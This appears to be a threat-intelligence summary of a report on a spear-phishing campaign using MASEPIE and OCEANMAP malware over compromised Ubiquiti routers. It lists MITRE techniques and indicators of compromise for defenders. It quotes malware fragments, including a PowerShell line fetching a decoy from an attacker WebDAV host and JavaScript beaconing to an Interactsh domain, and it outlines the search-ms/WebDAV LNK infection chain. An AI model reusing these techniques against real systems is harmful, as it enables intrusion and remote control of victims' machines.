Keypoints
- Delivery: targeted spear-phishing emails linked to malicious webpages (hosted via DriveHQ accounts) presenting blurred document previews to entice clicks.
- Browser-stage: clicking the page runs embedded JavaScript that both contacts an Interactsh hostname (oast[.]fun) for beaconing and redirects to a Microsoft search: URI that pulls a WebDAV-hosted saved-search (search-ms) file.
- WebDAV stager: the search-ms file forces Explorer to display remote WebDAV content (e.g., LNK or ZIP) hosted on compromised systems (notably Ubiquiti devices), making the payload appear as benign documents.
- Malicious LNK: opened LNKs execute PowerShell to show a decoy document and launch a Python interpreter from the WebDAV share to run Client.py (MASEPIE) as the first-stage implant.
- MASEPIE: Python-based backdoor using two raw TCP channels to C2 on high/non-standard ports (e.g., 54763, 55555), exchanging AES-128-CBC encrypted data and supporting remote shell, file upload/download, and a ping command.
- OCEANMAP: a .NET C# tool that uses IMAP/S mailboxes as a C2 channel, persists via an Internet shortcut in the Startup folder, and can self-patch its binary to update configuration.
- Infrastructure: staging and C2 servers mapped to IPs (e.g., 194.126.178[.]8, 159.196.128[.]120) running Ubiquiti EdgeOS/TLS certificates and an unusual backdoored OpenSSH banner (SSH-2.0-OpenSSH_6.7p2), indicating compromised routers used as malicious infrastructure.
MITRE Techniques
- [T1566.002] Spearphishing Link – Delivery via targeted phishing messages linking to malicious pages. Quote: ‘leveraged spear-phishing to trick users into visiting a remote HTML page and opening a Windows shortcut.’
- [T1204.002] User Execution: Malicious File/Link – The campaign relies on user interaction to open LNK files masquerading as documents. Quote: ‘a LNK file, masqueraded as a document (using a document icon, and a double-extension such as .pdf<plusieurs espaces>.lnk)’.
- [T1105] Ingress Tool Transfer – Payloads and interpreters are fetched over WebDAV from remote hosts. Quote: ‘[system.Diagnostics.Process]::Start(‘msedge’,’http://194.126.178[.]8/webdav/wody.pdf’); 194.126.178[.][email protected] 194.126.178[.][email protected]’.
- [T1071.001] Application Layer Protocol: Web Protocols – Beaconing and fetches use HTTP/HTTPS to contact Interactsh and download resources. Quote: ‘newElement.src = “https://czyrqdnvpujmmjkfhhvs9647ioh30wxvd.oast[.]fun”‘.
- [T1071.003] Application Layer Protocol: Mail Protocols – OCEANMAP uses IMAP/S to read specially crafted mailbox drafts as a C2 channel. Quote: ‘it establishes an IMAP/S connection to a possibly legitimate mail server … and then leverages associated mailboxes as a C2 channel.’
- [T1547.001] Boot or Logon Autostart Execution: Startup Folder – OCEANMAP achieves persistence by creating an Internet shortcut in the user’s Startup folder. Quote: ‘creating an Internet shortcut (EdgeContext.url) in the user’s Startup folder’.
- [T1095] Non-Application Layer Protocol – MASEPIE establishes raw TCP connections on non-standard high ports for command and file channels. Quote: ‘MASEPIE uses two raw TCP connections to a command and control (C2) server on non-standard and high TCP ports (e.g. 54763 and 55555)’.
Indicators of Compromise
- [IP address] staging/C2 servers – 194.126.178[.]8 (WebDAV stager + MASEPIE C2), 159.196.128[.]120 (MASEPIE C2), and other related IPs such as 124.168.91[.]178, 172.114.170[.]18.
- [Hostname / Domain] malicious webpages & beacons – e-wody.firstcloudit[.]com (malicious landing page), czyrqdnvpujmmjkfhhvs9647ioh30wxvd.oast[.]fun (Interactsh beacon).
- [File hash (SHA-256)] stagers & implants – 19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc (malicious LNK), 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6 (MASEPIE), and many additional hashes listed in the report.
- [Filename] WebDAV saved-search and payload names – pol.search-ms (WebDAV-hosted search-ms), Client.py (MASEPIE Python payload).
The technical infection chain begins with spear-phishing links pointing to DriveHQ-hosted landing pages that display a blurred document image. Embedded JavaScript on these pages both triggers an external beacon to an Interactsh hostname (oast[.]fun) and redirects the browser to a Microsoft “search:” URI. That nested search: URI downloads a saved-search (.search-ms) file from a WebDAV server; when executed by Explorer, the saved-search opens a remote WebDAV location presenting files that look like documents but are actually LNK or ZIP stagers.
When a user opens a malicious LNK (often double‑extensioned to appear as a PDF), it executes a PowerShell line that launches a decoy document in Edge and invokes a Python interpreter from the WebDAV share to run Client.py (MASEPIE). MASEPIE establishes two raw TCP channels to C2 servers on high, non-standard ports (examples: 54763, 55555), sends a 16‑character ASCII identifier which is used as an AES-128-CBC key, and then accepts commands (check/beacon, send_file, get_file, or arbitrary shell commands executed via os.popen). Some samples also perform HTTPS beacons to Interactsh hostnames.
Additional tooling observed includes OCEANMAP (a .NET binary) that uses IMAP/S mailboxes as a covert C2 channel (searching drafts by a machine/user identifier), persists by creating an Internet shortcut in the Startup folder, and can self-patch its binary to update C2 configuration. The infrastructure serving webdav/C2 was hosted on compromised Ubiquiti devices (EdgeOS/TLS certs mentioning “UBNT Router UI”) exposing a backdoored OpenSSH banner (“SSH-2.0-OpenSSH_6.7p2”), indicating routers were repurposed as staging and C2 infrastructure.
Read more: https://harfanglab.io/en/insidethelab/compromised-routers-infrastructure-target-europe-caucasus/